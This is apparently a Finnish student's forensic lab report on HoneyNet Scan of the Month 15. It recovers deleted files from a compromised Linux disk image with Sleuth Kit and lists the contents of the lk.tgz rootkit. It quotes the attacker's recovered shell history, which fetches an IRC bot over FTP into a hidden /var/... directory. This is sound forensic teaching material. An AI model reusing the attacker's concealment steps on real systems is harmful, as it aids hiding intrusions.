Linux Palvelimena: Harjoitus 3

Harjoitus 3

h3. Ratkaise HoneyNet Scan of the Month 15. http://old.honeynet.org/scans/scan15/

Käsittele oikeita haittaohjelmia sisältävää kuvaa huolella, äläkä vie sitä tärkeille tuotantokoneille. Ratkaisut tehtävän selviävät levykuvasta, mitään ulkopuolisia järjestelmiä ei saa häiritä.

Raportoi, kuinka ratkaiset tehtävän.

Vastaa tehtävänannon kysymyksiin:
– “Show step by step how you identify and recover the deleted rootkit from the / partition.”
– What files make up the deleted rootkit?

Lisätehtävinä voit halutessasi vastata:
– “Bonus Question: Was the rootkit ever actually installed on the system? How do you know?”
– Mitä tekijään viittaavia tietoja levykuvasta löytyy?
– Selitä vaiheittain, miten rootkit toimii.

Vinkkejä:
– Tervapallon voi purkaa ‘tar xf foo.tar.gz’
– Levykuvien analysointi http://terokarvinen.com/2013/forensic-file-recovery-with-linux

Valmistelut

Jotta tehtävää pystyi alkaa ratkaisemaan, piti ensimmäiseksi ladata tuo mainittu levykuva. Se onnistui komennolla:

$wget http://old.honeynet.org/scans/scan15/honeynet.tar.gz

Tästä vastauksena tuli:

2016-09-11 11:01:21 (3,13 MB/s) - ‘honeynet.tar.gz’ saved [13491266/13491266]

Ensimmäiseksi tarkistin, ettei tiedostoa ole muokattu jälkeenpäin vertaamalla sivustolla olevaa MD5 arvoa (MD5=0dff8fb9fe022ea80d8f1a4e4ae33e21) tiedoston MD5-arvoon:

$ md5sum honeynet.tar.gz 
0dff8fb9fe022ea80d8f1a4e4ae33e21  honeynet.tar.gz

Koska arvot täsmäsivät, purin tar-paketin:

$ tar xf honeynet.tar.gz

ja vertasin vielä sivustolla ollutta md5 arvoa (MD5=5a8ebf5725b15e563c825be85f2f852e) purettuun levykuvaan:

$ cd honeynet/
$ ls
honeypot.hda8.dd  README
$ md5sum honeypot.hda8.dd 
5a8ebf5725b15e563c825be85f2f852e  honeypot.hda8.dd

Koska nämä täsmäsivät, pystyin jatkamaan seuraavaan vaiheeseen.

Poistetut-tiedostot

Opettajan tunnilla antaman vinkin mukaan, levykuvalla olleet poistetut tiedostot saa palautettua komennolla tsk_recover. Komento ei kuitenkaan sellaisenaan toiminut, joten pääsin taas asennuspuuhiin.

The program 'tsk_recover' is currently not installed. You can install it by typing:
sudo apt install sleuthkit
$sudo apt-get install sleuthkit

Tämä vaati myös lisäpaketteja, jotka tarvittiin, joten hyväksyin myös ne:

The following additional packages will be installed:
  libafflib0v5 libbfio1 libewf2 libtsk13
Suggested packages:
  autopsy mac-robber
The following NEW packages will be installed:
  libafflib0v5 libbfio1 libewf2 libtsk13 sleuthkit
0 upgraded, 5 newly installed, 0 to remove and 26 not upgraded.
Need to get 1 542 kB of archives.
After this operation, 5 010 kB of additional disk space will be used.
Do you want to continue? [Y/n] Y

Asennuksen valmistuttua tein kansion poistetuille tiedostoille ja palautin tiedostot sinne.

$mkdir deleted
$ tsk_recover honeypot.hda8.dd deleted
Files Recovered: 37

Selvitystyötä

Kansiossa olevan tiedostolistauksen avulla voimme aloittaa selvityksen

$cd deleted
$ls
etc  lk.tgz  $OrphanFiles

Sisällöstä voimme päätellä, että haittaohjelma on ollut lk.tgz paketin sisällön mukainen. Sisältö paketilla on laajempi:

$ tar -tvf lk.tgz 
drwxr-xr-x 1031/users        0 2001-02-26 22:40 last/
-rwxr-xr-x 1031/users   611931 2002-02-08 15:08 last/ssh
-rw-r--r-- 1031/users        1 2001-02-26 17:29 last/pidfile
-rwx------ 1031/users     3713 2001-03-03 05:08 last/install
-rwx------ 1031/users     7165 2001-02-26 17:22 last/linsniffer
-rwxr-xr-x 1031/users     1345 1999-09-09 18:57 last/cleaner
-rw-r--r-- 1031/users     3278 2001-01-27 17:11 last/inetd.conf
-rwxr-xr-x 1031/users       79 2001-02-26 17:28 last/lsattr
-rw-r--r-- 1031/users    11407 2001-01-27 17:11 last/services
-rwxr-xr-x 1031/users     4060 2001-02-26 17:22 last/sense
-rw-r--r-- 1031/users      880 2000-10-22 22:29 last/ssh_config
-rw------- 1031/users      540 2000-10-22 22:29 last/ssh_host_key
-rw-r--r-- 1031/users      344 2000-10-22 22:29 last/ssh_host_key.pub
-rw------- 1031/users      512 2000-10-22 22:29 last/ssh_random_seed
-rw-r--r-- 1031/users      688 2001-02-26 17:29 last/sshd_config
-rwx------ 1031/users     8268 2001-02-26 17:22 last/sl2
-rwxr-xr-x 1031/users     4620 2001-02-26 17:23 last/last.cgi
-rwxr-xr-x 1031/users    33280 2001-02-26 17:23 last/ps
-rwxr-xr-x 1031/users    35300 2001-02-26 17:23 last/netstat
-rwxr-xr-x 1031/users    19840 2001-02-26 17:23 last/ifconfig
-rwxr-xr-x 1031/users    53588 2001-02-26 17:23 last/top
-rwx------ 1031/users       75 2001-02-26 17:24 last/logclear
-rw-r--r-- root/root       708 2001-03-03 05:05 last/s
-rwxr-xr-x 1031/users   632066 2001-02-26 16:46 last/mkxfs

Tämän perusteella toteamme, että rootkit on ollut koneella ja sen sisältö on ko. paketin mukainen.

Pikaisen loogisen päättelyn avulla voimme todeta, että:

  1. ssh-yhteyksien osalta konfiguraatiota on voitu haittaohjelman avulla muuttamaan
  2. ifconfig ja netstat-tiedostojen perusteella myös tietoliikenneyhteyksissä on ollut jonkinlainen tunkeutuminen, luultavasti jälkien peittelyn vuoksi
  3. top-ohjelma on myös tämän perusteella saastutettavissa, luultavasti haittaohjelman tekijä on yrittänyt piilottautua
  4. logclear-nimi viittaa logitiedostojen siivoamiseen

Seuraavaksi otetaan suurempi otos poistetuista tiedostoista. Tämä onnistuu komennolla:

$ mkdir deleted2
$ tsk_recover -a honeypot.hda8.dd deleted2
Files Recovered: 1614

Ensimmäisenä tulee mieleen root-käyttäjän antamat komennot. Linux tallentaa annetut komennot tekstitiedostoon, jotta terminaalissa toimiva ylöspäin nuoli toimisi palauttamaan edellisen komennon. Teoriassa siis tuo .bash_profile tiedosto sisältää kaikki käyttäjän antamat komennot. Tässä tapauksessa hyökkääjä on luultavasti poistanut tuon tiedoston, joten sen pitäisi löytyä poistettujen tiedostojen joukosta:

$ cat root/.bash_history 
exec tcsh
ls
mkdir /var/...
ls
cd /var/...
ftp ftp.home.ro
tar -zxvf emech-2.8.tar.gz
cd emech-2.8
./configure
y
make
make
make install
mv sample.set mech.set
pico mech.set
./mech
cd /etc
pico ftpaccess
ls
exit

Tiedoston sisällön perusteella on käytetty emech ohjelmistoa, joka on ladattu osoitteesta ftp.rome.ro ja sitä on myös määritelty, joskin määrittelyjen sisältö jää arvoitukseksi.

deleted2 kansiosta löytyy myös /dev/ida/.drag-on kansio, josta löytyy samoja tiedostoja kuin tuosta lk.tgz paketista.

$ find . -name "linsniffer"
./dev/ida/.. /linsniffer
./dev/ida/.drag-on/linsniffer

Vastaukset

– “Show step by step how you identify and recover the deleted rootkit from the / partition.”
==> Vastaus edellä
– What files make up the deleted rootkit?
==> Tiedostot, jotka löytyvät tuosta lk.tgz paketista

Lisätehtävinä voit halutessasi vastata:
– “Bonus Question: Was the rootkit ever actually installed on the system? How do you know?”
==> Kyllä, /dev/ida/.drag-on -kansion perusteella

– Mitä tekijään viittaavia tietoja levykuvasta löytyy?
==> FTP-osoite
– Selitä vaiheittain, miten rootkit toimii.

Lähteet

9 total views, 1 views today